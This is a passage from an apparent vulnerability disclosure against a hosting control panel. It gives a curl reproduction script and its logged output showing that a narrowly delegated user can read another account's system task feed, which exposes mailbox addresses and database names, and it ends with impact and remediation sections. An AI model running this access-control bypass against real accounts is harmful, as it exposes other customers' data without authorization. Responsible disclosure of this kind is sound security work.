curl -s -b A.jar -c A.jar "$BASE/permissions/add/" -o /tmp/grant.html
curl -s -b A.jar -c A.jar -X POST "$BASE/permissions/add/" -H "Referer: $BASE/permissions/add/" \
# (checkbox name pattern is <account_id>_account_<permission>)
# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar "$B_EMAIL" "$B_PASS"
curl -s -b B.jar -c B.jar "$BASE/" -o /tmp/b.html
curl -s -b B.jar -c B.jar -X POST "$BASE/" -H "Referer: $BASE/" \
# — 3) B reads the account's task feed — real data — curl -s -b B.jar -o /dev/null -w 'GET /task/ → %{http_code}\n' "$BASE/task/"
curl -s -b B.jar "$BASE/task/" \
| grep -o '/task/[0-9]*/detail/">\[[^]]*\][^<]*' \ | sed 's|/task/\([0-9]*\)/detail/">|\1 |' | head -4
# 40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration
# 40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db
# 40720560 [adtesta1] Database creation MySQL: adtesta1_db
# 40720415 [adtesta1] Database user creation RabbitMQ: adtesta1
# pick any task id shown in the list, then read its detail page:
curl -s -b B.jar -o /dev/null -w 'GET /task/<id>/detail/ → %{http_code}\n' "$BASE/task/<id>/detail/"
curl -s -b B.jar "$BASE/task/<id>/detail/" | tr '\n' ' ' \
| grep -oE '<th[^>]*>(Description|Opening date|Status|Involved account):</th>[[:space:]]*<td>[^<]*' \ | sed -E 's/<th[^>]*>//; s|</th>[[:space:]]*<td>| |'
# Description: [adtesta1] Updating Apache configuration
# Opening date: Oct 1, 2026, 5:38:58 PM
# Status: Completed
# Involved account: adtesta1
# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do
curl -s -b B.jar -o /dev/null -w "GET $u -> %{http_code}\n" "$BASE$u"
done
```
Observed — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester's accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):
```
== 1) A grants B ONLY the 'Domains' permission on adtesta1 (503524)
grant record: /permissions/493113/
== 3) B reads the System tasks of adtesta1 — real data shown below
GET /task/ -> 200 rows leaked for [adtesta1]: 9 (own [adtestb1] rows: 11) --- rows of account adtesta1 as displayed to B --- 40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration 40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db 40720560 [adtesta1] Database creation MySQL: adtesta1_db 40720415 [adtesta1] Database user creation RabbitMQ: adtesta1 GET /task/40720409/detail/ -> 200 --- page content as displayed to B --- Description: [adtesta1] Updating Apache configuration Opening date: Oct 1, 2026, 5:38:58 PM Status: Completed Involved account: adtesta1 --- controls (same session) --- GET /domain/ -> 200 GET /mailbox/ -> 403 GET /database/ -> 403 GET /ssl/ -> 403 GET /account/usage/ -> 403 GET /job/ -> 403
== 4) cleanup: remove the grant
== 5) verify restored
A grant records now: 493112 B GET /task/40720409/detail/ -> 404 (expect 404)
```
The 9 leaked rows include the account's mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),
even though B is denied `/mailbox/` and `/database/` (403).
Also reproduced with each of SSL-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.
Impact: A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.
Remediation: Enforce a section-level check on `/task/` (and `/task/<id>/detail/`) — either a dedicated permission or filtering the task feed to the caller's granted sections, the same way `/job/` already enforces `account_job`.